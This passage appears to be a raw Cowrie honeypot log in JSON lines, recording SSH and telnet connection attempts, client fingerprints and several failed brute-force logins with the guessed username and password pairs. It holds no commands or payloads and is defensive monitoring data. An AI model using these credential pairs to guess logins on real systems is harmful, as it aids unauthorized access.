16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:32.701713Z","src_ip":"87.251.79.125","session":"1055ead4e627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123546","message":"login attempt [root/123546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:32.922767Z","src_ip":"87.251.79.125","session":"1055ead4e627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:33.708065Z","src_ip":"185.40.30.168","session":"6f3b7a919822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:33.997969Z","src_ip":"87.251.79.125","session":"1055ead4e627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.866514444351196,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:37.085326Z","src_ip":"69.4.83.194","session":"f543293847fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51355767250061,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:47.304383Z","src_ip":"69.4.83.194","session":"c7eb8dc25191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47828,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ea9ad187358","protocol":"telnet","message":"New connection: 69.4.83.194:47828 (159.203.135.109:23) [session: 6ea9ad187358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:48.018293Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":43760,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f83ae167d3f","protocol":"ssh","message":"New connection: 182.52.90.106:43760 (159.203.135.109:22) [session: 9f83ae167d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:49.194829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:49.199855Z","src_ip":"182.52.90.106","session":"9f83ae167d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:49.462588Z","src_ip":"182.52.90.106","session":"9f83ae167d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"profe","password":"profe","message":"login attempt [profe/profe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:50.546944Z","src_ip":"182.52.90.106","session":"9f83ae167d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:51.812508Z","src_ip":"182.52.90.106","session":"9f83ae167d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35340,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac0418c80e3f","protocol":"ssh","message":"New connection: 103.176.20.57:35340 (159.203.135.109:22) [session: ac0418c80e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:56.179961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:56.185088Z","src_ip":"103.176.20.57","session":"ac0418c80e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:56.439214Z","src_ip":"103.176.20.57","session":"ac0418c80e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121212123","message":"login attempt [root/121212123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:57.201921Z","src_ip":"103.176.20.57","session":"ac0418c80e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51926,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d9ed78bb77","protocol":"telnet","message":"New connection: 69.4.83.194:51926 (159.203.135.109:23) [session: 25d9ed78bb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:57.350981Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:46:58.462084Z","src_ip":"103.176.20.57","session":"ac0418c80e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49562,"dst_ip":"159.203.135.109","dst_port":22,"session":"834d7c3a52ad","protocol":"ssh","message":"New connection: 103.82.20.28:49562 (159.203.135.109:22) [session: 834d7c3a52ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:01.611801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:01.617178Z","src_ip":"103.82.20.28","session":"834d7c3a52ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:01.871778Z","src_ip":"103.82.20.28","session":"834d7c3a52ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sarah","message":"login attempt [root/sarah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:02.634624Z","src_ip":"103.82.20.28","session":"834d7c3a52ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:03.892360Z","src_ip":"103.82.20.28","session":"834d7c3a52ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.97760629653931,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:04.727919Z","src_ip":"69.4.83.194","session":"4b00e5d36663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":52964,"dst_ip":"10.17.0.5","dst_port":23,"session":"264f8f95a5d0","protocol":"telnet","message":"New connection: 178.128.93.180:52964 (10.17.0.5:23) [session: 264f8f95a5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:14.055506Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":55248,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81377bde36d","protocol":"ssh","message":"New connection: 103.237.144.204:55248 (159.203.135.109:22) [session: b81377bde36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:16.234221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:16.243195Z","src_ip":"103.237.144.204","session":"b81377bde36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:16.494522Z","src_ip":"103.237.144.204","session":"b81377bde36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ciaociao","message":"login attempt [root/ciaociao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:17.527688Z","src_ip":"103.237.144.204","session":"b81377bde36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:18.781338Z","src_ip":"103.237.144.204","session":"b81377bde36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.82792282104492,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:20.846120Z","src_ip":"69.4.83.194","session":"6ea9ad187358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18283152580261,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:30.533681Z","src_ip":"69.4.83.194","session":"25d9ed78bb77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37404,"dst_ip":"159.203.135.109","dst_port":23,"session":"a262aecbce15","protocol":"telnet","message":"New connection: 69.4.83.194:37404 (159.203.135.109:23) [session: a262aecbce15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:33.245553Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38306,"dst_ip":"159.203.135.109","dst_port":23,"session":"7580887c1b15","protocol":"telnet","message":"New connection: 69.4.83.194:38306 (159.203.135.109:23) [session: 7580887c1b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:36.746074Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38724,"dst_ip":"159.203.135.109","dst_port":23,"session":"3978c641e655","protocol":"telnet","message":"New connection: 69.4.83.194:38724 (159.203.135.109:23) [session: 3978c641e655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:37.885085Z"}
{"eventid":"cowrie.session.closed","duration":120.0030870437622,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:39.979988Z","src_ip":"190.82.206.126","session":"35a383db0fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41246,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a29da707eb3","protocol":"telnet","message":"New connection: 69.4.83.194:41246 (159.203.135.109:23) [session: 1a29da707eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:43.883206Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":55254,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc981d62f5e6","protocol":"ssh","message":"New connection: 185.40.30.168:55254 (159.203.135.109:22) [session: bc981d62f5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:53.506812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:53.510976Z","src_ip":"185.40.30.168","session":"bc981d62f5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:53.634328Z","src_ip":"185.40.30.168","session":"bc981d62f5e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Huawei12#$","message":"login attempt [admin/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:54.155958Z","src_ip":"185.40.30.168","session":"bc981d62f5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:47:55.287731Z","src_ip":"185.40.30.168","session":"bc981d62f5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60770,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e1954b88ea8","protocol":"ssh","message":"New connection: 77.94.47.83:60770 (159.203.135.109:22) [session: 1e1954b88ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:01.006706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:01.012397Z","src_ip":"77.94.47.83","session":"1e1954b88ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:01.122342Z","src_ip":"77.94.47.83","session":"1e1954b88ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23051991","message":"login attempt [root/23051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:01.461541Z","src_ip":"77.94.47.83","session":"1e1954b88ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:02.575758Z","src_ip":"77.94.47.83","session":"1e1954b88ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49530,"dst_ip":"159.203.135.109","dst_port":23,"session":"990cfa001a29","protocol":"telnet","message":"New connection: 69.4.83.194:49530 (159.203.135.109:23) [session: 990cfa001a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:05.226945Z"}
{"eventid":"cowrie.session.closed","duration":34.95550012588501,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:08.200930Z","src_ip":"69.4.83.194","session":"a262aecbce15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51153326034546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:10.257494Z","src_ip":"69.4.83.194","session":"7580887c1b15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51844,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee05c0a0e4f","protocol":"telnet","message":"New connection: 69.4.83.194:51844 (159.203.135.109:23) [session: 7ee05c0a0e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:10.858464Z"}
{"eventid":"cowrie.session.closed","duration":35.06975507736206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:12.954731Z","src_ip":"69.4.83.194","session":"3978c641e655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72492480278015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:15.607851Z","src_ip":"69.4.83.194","session":"1a29da707eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.4422447681427,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:32.497616Z","src_ip":"178.128.93.180","session":"264f8f95a5d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":44118,"dst_ip":"159.203.135.109","dst_port":22,"session":"b97bbd9b516a","protocol":"ssh","message":"New connection: 43.245.97.82:44118 (159.203.135.109:22) [session: b97bbd9b516a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:39.654065Z"}
